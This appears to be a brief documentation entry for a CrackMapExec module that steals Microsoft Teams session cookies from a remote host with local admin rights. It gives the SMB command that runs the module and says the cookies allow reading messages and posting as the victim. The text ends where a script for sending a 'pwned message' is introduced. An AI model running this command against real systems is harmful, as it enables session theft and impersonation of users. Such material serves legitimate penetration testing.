Steal Microsoft Teams cookies

You need at least local admin privilege on the remote target
New CrackMapExec module to dump Microsoft Teams cookies thanks to @KuiilSec contribution. You can use them to retrieve informations like users, messages, groups etc or send directly messages in Teams.
$ crackmapexec smb <ip> -u user -p pass -M teams_localdb
Send the pwned message using this script: